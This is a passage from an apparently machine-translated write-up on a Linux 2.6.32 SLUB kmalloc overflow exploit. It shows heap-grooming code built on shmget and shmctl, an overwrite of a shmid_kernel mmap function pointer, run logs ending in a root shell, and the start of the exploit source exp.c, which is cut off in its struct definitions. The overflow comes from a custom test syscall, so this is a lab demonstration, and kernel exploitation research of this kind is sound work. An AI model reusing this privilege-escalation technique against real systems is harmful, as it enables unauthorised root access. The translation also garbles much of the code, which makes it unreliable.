name, &amp;amp; active_num, &amp;amp; total_num);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (! strcmp (slab_name, name)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Active = active_num;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Total = total_num;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return total_num - active_num;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return -1;&lt;br /&gt;}&lt;br /&gt;Now write a code to call shmget, take a look at the new distribution of obj is not continuous, in order to facilitate the debugging, I modified the code of sys_shmget&lt;br /&gt;Added a printk to print the address after the kmalloc. trigger the code fragment as follows:&lt;br /&gt;trigger.c:&lt;br /&gt;...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmids = malloc (sizeof (int) * (free_num + SLAB_NUM * 3));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf (stdout, "[+] smashing free in the slab ... \ n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (i = 0; i &amp;lt;free_num + SLAB_NUM; i + +) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (! check_slab (SLAB_NAME, &amp;amp; active_num, &amp;amp; total_num))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmids [i] = shmget (IPC_PRIVATE, 1024, IPC_CREAT);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (shmids [i] &amp;lt;0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; given by the perror ("shmget");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return -1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; base = i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf (stdout, "[+] smashing% d total:% d active:% d free in:% d \ n",&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i, total_num, active_num, total_num - active_num);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf (stdout, "[+] smashing adjacent slab ... \ n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i = base;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (; i &amp;lt;base + SLAB_NUM; i + +) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmids [i] = shmget (IPC_PRIVATE, 1024, IPC_CREAT);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (shmids [i] &amp;lt;0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; given by the perror ("shmget");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return -1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; check_slab (SLAB_NAME, &amp;amp; active_num, &amp;amp; total_num);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf (stdout, "[+] smashing% d total:% d active:% d free in:% d \ n",&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i, total_num, active_num, total_num - active_num);&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;[Wzt @ localhost exp] $. / Exp&lt;br /&gt;[+] Mmaping kernel code at 0x41414141 ok.&lt;br /&gt;[+] Looking for symbols ...&lt;br /&gt;[+] Found commit_creds addr at 0xc0446524.&lt;br /&gt;[+] Found prepare_kernel_cred addr at 0xc0446710.&lt;br /&gt;[+] Setting up the exploit the payload ...&lt;br /&gt;[+] Checking slab total: 840 the active: 836 free in: 4&lt;br /&gt;[+] Smashing free in the slab ...&lt;br /&gt;[+] Smashing 17 total: 840 the active: 840 free in: 0&lt;br /&gt;[+] Smashing adjacent slab ...&lt;br /&gt;[+] Smashing 117 total: 966 the active: 966 free in: 0&lt;br /&gt;&lt;br /&gt;Can see the dmesg information, new obj continuous.&lt;br /&gt;[Wzt @ localhost exp] $ dmesg | tail-n 10&lt;br /&gt;[+] Kmalloc at 0xdf1ea120&lt;br /&gt;[+] Kmalloc at 0xdf1ea180&lt;br /&gt;[+] Kmalloc at 0xdf1ea1e0&lt;br /&gt;[+] Kmalloc at 0xdf1ea240&lt;br /&gt;[+] Kmalloc at 0xdf1ea2a0&lt;br /&gt;[+] Kmalloc at 0xdf1ea300&lt;br /&gt;[+] Kmalloc at 0xdf1ea360&lt;br /&gt;[+] Kmalloc at 0xdf1ea3c0&lt;br /&gt;[+] Kmalloc at 0xdf1ea420&lt;br /&gt;[+] Kmalloc at 0xdf1ea480&lt;br /&gt;&lt;br /&gt;ok, we have been able to obtain a continuous obj to use slub another feature: the FIFO, first select an obj released in the successive obj&lt;br /&gt;And then immediately trigger a bug in the code, then that obj obj address for bug-free code to call kmalloc allocation is just released, when the overflow occurred, the dirty data will overwrite&lt;br /&gt;It adjacent to the next obj. Use the following code to trigger:&lt;br /&gt;&lt;br /&gt;trigger.c:&lt;br /&gt;...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; free_idx = i - 4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf (stdout, "[+] free exist shmid with idx:% d \ n", free_idx);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (shmctl (shmids [free_idx], IPC_RMID, NULL) == -1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; given by the perror ("in shmctl");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf (stdout, "[+] trigger kmalloc overflow in% s \ n", SLAB_NAME);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; memset (buff, 0x41, sizeof (buff));&lt;br /&gt;kmalloc_overflow_test (buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof (shmid_kernel));&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Here we will last four obj released dmesg you can see after the execution:&lt;br /&gt;&lt;br /&gt;[+] Kmalloc at 0xd3decc00&lt;br /&gt;[+] Kmalloc at 0xd3decc60&lt;br /&gt;[+] Kmalloc at 0xd3deccc0&lt;br /&gt;[+] Kmalloc at 0xd3decd20&lt;br /&gt;[+] Kmalloc at 0xd3decd80&lt;br /&gt;[-] Kfree at 0xd3decc60&lt;br /&gt;...............................&lt;br /&gt;[+] Got object at 0xd3decc60&lt;br /&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;&lt;br /&gt;After the the shmctl release out 0xd3decc60 address, the bugs kmalloc assigned address is also 0xd3decc60.&lt;br /&gt;&lt;br /&gt;[Wzt @ localhost exp] $ tail / proc / sysvipc / shm&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0,819,225,001,024,314,800 500 500 500 500 0 0 1293098372&lt;br /&gt;1094795585 1094795585 05001345228840 500 1094795585 1094795585 0 0 4294967295 252 0&lt;br /&gt;1094795585 1094795585 0 1024 3148 0 0 500 500 500 500 0 0 1293098372&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0,832,332,601,024,314,800 500 500 500 500 0 0 1293098372&lt;br /&gt;Can see that in adjacent and 0xd3decc60, the next obj address 0xd3deccc0 shmid_kernel structure has been covering.&lt;br /&gt;&lt;br /&gt;Now we can cover a function pointer, just meet we need a function pointer in shmid_kernel&lt;br /&gt;&lt;br /&gt;ipc shared memory data structure of the struct shmid_kernel handled in the kernel:&lt;br /&gt;&lt;br /&gt;struct shmid_kernel / * private to the kernel * /&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct kern_ipc_perm shm_perm;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct file * shm_file;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; unsigned long shm_nattch;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; unsigned long shm_segsz;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; time_t shm_atim;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; time_t shm_dtim;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; time_t shm_ctim;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pid_t shm_cprid;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pid_t shm_lprid;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct user_struct * mlock_user;&lt;br /&gt;;}&lt;br /&gt;&lt;br /&gt;struct shmid_kernel {&lt;br /&gt;. Shm_file = struct file {&lt;br /&gt;F_op is = struct file_operations = {&lt;br /&gt;. The mmap = ATTACKER_ADDRESS&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;Shmat system call is triggered:&lt;br /&gt;&lt;br /&gt;sys_shmat () -&amp;gt; do_shmat ():&lt;br /&gt;long do_shmat (int shmid, char __ user * shmaddr, int shmflg, ulong * raddr)&lt;br /&gt;{&lt;br /&gt;user_addr = do_mmap (file, addr, size, prot, flags, 0);&lt;br /&gt;}&lt;br /&gt;do_mmap will be covered for the shellcode address.&lt;br /&gt;&lt;br /&gt;ok, now can write a complete exp, try first:&lt;br /&gt;[Wzt @ localhost exp] $. / Exp&lt;br /&gt;Execution system hang, look dmesg:&lt;br /&gt;[+] Kmalloc at 0xd31752a0&lt;br /&gt;[+] Kmalloc at 0xd3175300&lt;br /&gt;[+] Kmalloc at 0xd3175360&lt;br /&gt;[+] Kmalloc at 0xd31753c0&lt;br /&gt;[+] Kmalloc at 0xd3175420&lt;br /&gt;[+] Kmalloc at 0xd3175480&lt;br /&gt;[+] Kmalloc at 0xd31754e0&lt;br /&gt;[-] Kfree at 0xd31753c0&lt;br /&gt;...............................&lt;br /&gt;[+] Got object at 0xd31753c0&lt;br /&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;BUG: unable to the handle the kernel NULL pointer dereference at (null)&lt;br /&gt;IP: [&amp;lt;c04fc352&amp;gt;] ipc_has_perm +0 x46/0x61&lt;br /&gt;* Pde = 00000000&lt;br /&gt;The Oops: 0000 [# 1] the SMP&lt;br /&gt;last sysfs file: / sys/devices/pci0000: 00/0000: 00:05.0 / local_cpus&lt;br /&gt;Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode]&lt;br /&gt;&lt;br /&gt;Pid: 3.19 thousand, comm: exp Not tainted (2.6.32 # 2) Bochs is&lt;br /&gt;EIP: 0060: [&amp;lt;c04fc352&amp;gt;] EFLAGS: 00010246 CPU: 1&lt;br /&gt;EIP is at ipc_has_perm +0 x46/0x61&lt;br /&gt;EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428&lt;br /&gt;ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8&lt;br /&gt;&amp;nbsp;DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068&lt;br /&gt;Process exp (pid: 3190, ti = d33eb000 task = dbe6ea30 task.ti = d33eb000)&lt;br /&gt;Stack:&lt;br /&gt;&amp;nbsp;d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000&lt;br /&gt;&amp;lt;0&amp;gt; 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000&lt;br /&gt;&amp;lt;0&amp;gt; 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000&lt;br /&gt;The Call the Trace:&lt;br /&gt;&amp;nbsp;[&amp;lt;c04f9cf3&amp;gt;]? Security_ipc_permission +0 xf/0x10&lt;br /&gt;&amp;nbsp;[&amp;lt;c04f22e4&amp;gt;]? Do_shmat +0 xdc/0x349&lt;br /&gt;&amp;nbsp;[&amp;lt;c04057da&amp;gt;]? Sys_ipc +0 xff/0x162&lt;br /&gt;&amp;nbsp;[&amp;lt;c0402865&amp;gt;]? Syscall_call +0 x7/0xb&lt;br /&gt;Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 &amp;lt;0f&amp;gt; b7 0b 8d 44 24 08 8b 53 04 50 89 of f0 55 e8 75 fb ff ff 83 c4,&lt;br /&gt;EIP: [&amp;lt;c04fc352&amp;gt;] ipc_has_perm +0 x46/0x61 SS: ESP 0068: d33ebec8&lt;br /&gt;CR2,: 0000000000000000&lt;br /&gt;--- [End trace 7bbab7e881899412] ---&lt;br /&gt;[Wzt @ localhost exp] $&lt;br /&gt;The problem looks like selinux, it closed out in try:&lt;br /&gt;&lt;br /&gt;[Wzt @ localhost exp] $. / Exp&lt;br /&gt;[+] Mmaping kernel code at 0x41414141 ok.&lt;br /&gt;[+] Looking for symbols ...&lt;br /&gt;[+] Found commit_creds addr at 0xc0446524.&lt;br /&gt;[+] Found prepare_kernel_cred addr at 0xc0446710.&lt;br /&gt;[+] Setting up the exploit the payload ...&lt;br /&gt;[+] Checking the slab total: 798 active: 791 free in: 7&lt;br /&gt;[+] Smashing free in the slab ...&lt;br /&gt;[+] Smashing 5 total: 798 the active: 798 free in: 0&lt;br /&gt;[+] Smashing adjacent slab ...&lt;br /&gt;[+] Smashing 105 total: 924 the active: 924 free in: 0&lt;br /&gt;[+] Free exist shmid with idx: 101&lt;br /&gt;[+] The trigger kmalloc the overflow in kmalloc-96&lt;br /&gt;[+] Shmid_kernel size: 80&lt;br /&gt;[+] Kern_ipc_perm size: 44&lt;br /&gt;[+] Shmid: 3,309,669&lt;br /&gt;[+] Launching the root shell!&lt;br /&gt;[Root @ localhost exp] # uname-a&lt;br /&gt;Linux localhost.localdomain 2.6.32 # 2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU / Linux&lt;br /&gt;[Root @ localhost exp] #&lt;br /&gt;Successful, and finally got a lovely root!&lt;br /&gt;&lt;br /&gt;Five, source:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; exp.c&lt;br /&gt;/ *&lt;br /&gt;&amp;nbsp;* Linux kernel slub overflow test exploit&lt;br /&gt;&amp;nbsp;*&lt;br /&gt;&amp;nbsp;* By wzt &amp;lt;wzt.wzt@gmail.com&amp;gt;&lt;br /&gt;&amp;nbsp;*&lt;br /&gt;&amp;nbsp;* /&lt;br /&gt;&lt;br /&gt;# Include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;# Include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;# Include &amp;lt;string.h&amp;gt;&lt;br /&gt;# The include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;# Include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;# The include &amp;lt;limits.h&amp;gt;&lt;br /&gt;# The include &amp;lt;inttypes.h&amp;gt;&lt;br /&gt;# The include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;# Include &amp;lt;sys/ipc.h&amp;gt;&lt;br /&gt;# Include &amp;lt;sys/sem.h&amp;gt;&lt;br /&gt;# Include &amp;lt;sys/shm.h&amp;gt;&lt;br /&gt;# Include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;# Include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;&lt;br /&gt;# Include "syscalls.h&lt;br /&gt;&lt;br /&gt;# Define __ NR_kmalloc_overflow_test 59&lt;br /&gt;&lt;br /&gt;# Define KALLSYMS_NAME "/ proc / kallsyms"&lt;br /&gt;# Define SLAB_NAME "kmalloc-96"&lt;br /&gt;# Define SLAB_SIZE 96&lt;br /&gt;# Define SLAB_NUM 100&lt;br /&gt;&lt;br /&gt;# Define IPCMNI 32768&lt;br /&gt;# Define EIDRM 43&lt;br /&gt;# Define HDRLEN_KMALLOC 8&lt;br /&gt;&lt;br /&gt;the struct the list_head {&lt;br /&gt;struct the list_head * the next;&lt;br /&gt;the struct the list_head * prev;&lt;br /&gt;;}&lt;br /&gt;&lt;br /&gt;the struct the super_block {&lt;br /&gt;struct list_head s_list;&lt;br /&gt;unsigned int s_dev;&lt;br /&gt;unsigned long s_blocksize;&lt;br /&gt;unsigned char s_blocksize_bits;&lt;br /&gt;unsigned char s_dirt;&lt;br /&gt;uint64_t s_maxbytes;&lt;br /&gt;void * s_type;&lt;br /&gt;void * s_op;&lt;br /&gt;void * dq_op;&lt;br /&gt;void * s_qcop;&lt;br /&gt;void * s_export_op;&lt;br /&gt;an unsigned long the s_flags;&lt;br /&gt;} The super_block;&lt;br /&gt;&lt;br /&gt;the struct the mutex {&lt;br /&gt;unsigned int count;&lt;br /&gt;unsigned int wait_lock;&lt;br /&gt;struct list_head wait_list;&lt;br /&gt;void * the owner;&lt;br /&gt;;}&lt;br /&gt;&lt;br /&gt;the struct the inode {&lt;br /&gt;struct list_head i_hash;&lt;br /&gt;struct list_head i_list;&lt;br /&gt;struct list_head i_sb_list;&lt;br /&gt;struct list_head i_dentry_list;&lt;br /&gt;unsigned long i_ino;&lt;br /&gt;unsigned int i_count;&lt;br /&gt;unsigned int i_nlink;&lt;br /&gt;unsigned int i_uid;&lt;br /&gt;unsigned int i_gid;&lt;br /&gt;unsigned int i_rdev;&lt;br /&gt;uint64_t i_version;&lt;br /&gt;uint64_t the i_size;&lt;br /&gt;unsigned int i_size_seqcount;&lt;br /&gt;long i_atime_tv_sec;&lt;br /&gt;long i_atime_tv_nsec;&lt;br /&gt;long i_mtime_tv_sec;&lt;br /&gt;long i_mtime_tv_nsec;&lt;br /&gt;long i_ctime_tv_sec;&lt;br /&gt;long i_ctime_tv_nsec;&lt;br /&gt;uint64_t i_blocks;&lt;br /&gt;unsigned int i_blkbits;&lt;br /&gt;unsigned short i_bytes;&lt;br /&gt;an unsigned short i_mode;&lt;br /&gt;unsigned int i_lock;&lt;br /&gt;struct mutex i_mutex;&lt;br /&gt;unsigned int i_alloc_sem_activity;&lt;br /&gt;unsigned int i_alloc_sem_wait_lock;&lt;br /&gt;struct list_head i_alloc_sem_wait_list;&lt;br /&gt;void * i_op;&lt;br /&gt;void * i_fop;&lt;br /&gt;struct super_block * i_sb;&lt;br /&gt;void * i_flock;&lt;br /&gt;void * i_mapping;&lt;br /&gt;the char i_data [84];&lt;br /&gt;void * i_dquot_1;&lt;br /&gt;void * i_dquot_2;&lt;br /&gt;struct list_head i_devices;&lt;br /&gt;void * i_pipe_union;&lt;br /&gt;unsigned int i_generation;&lt;br /&gt;unsigned int i_fsnotify_mask;&lt;br /&gt;void * i_fsnotify_mark_entries;&lt;br /&gt;struct list_head inotify_watches;&lt;br /&gt;struct mutex inotify_mutex;&lt;br /&gt;} The inode;&lt;br /&gt;&lt;br /&gt;the struct the dentry {&lt;br /&gt;unsigned int d_count;&lt;br /&gt;unsigned int d_flags;&lt;br /&gt;unsigned int d_lock;&lt;br /&gt;int d_mounted;&lt;br /&gt;void * d_inode;&lt;br /&gt;struct list_head d_hash;&lt;br /&gt;void * d_parent;&lt;br /&gt;} The dentry;&lt;br /&gt;&lt;br /&gt;the struct file_operations {&lt;br /&gt;void * the owner;&lt;br /&gt;void * the llseek;&lt;br /&gt;a void * the read;&lt;br /&gt;void * the write;&lt;br /&gt;a void * the aio_read;&lt;br /&gt;&amp;nbsp;void * aio_write;&lt;br /&gt;a void * fashion in which readdir;&lt;br /&gt;void * the poll;&lt;br /&gt;void * the ioctl;&lt;br /&gt;void * unlocked_ioctl;&lt;br /&gt;void * compat_ioctl;&lt;br /&gt;void * the mmap;&lt;br /&gt;a void * open;&lt;br /&gt;void * the flush;&lt;br /&gt;a void * release;&lt;br /&gt;void * the fsync;&lt;br /&gt;void * The aio_fsync;&lt;br /&gt;void * the fasync;&lt;br /&gt;void * lock;&lt;br /&gt;void * sendpage;&lt;br /&gt;void * get_unmapped_area;&lt;br /&gt;void * check_flags;&lt;br /&gt;void * flock;&lt;br /&gt;void * splice_write;&lt;br /&gt;void * splice_read;&lt;br /&gt;void * setlease;&lt;br /&gt;} Op,;&lt;br /&gt;&lt;br /&gt;the struct vfsmount {&lt;br /&gt;struct list_head mnt_hash;&lt;br /&gt;void * mnt_parent;&lt;br /&gt;void * mnt_mountpoint;&lt;br /&gt;void * mnt_root;&lt;br /&gt;void * mnt_sb;&lt;br 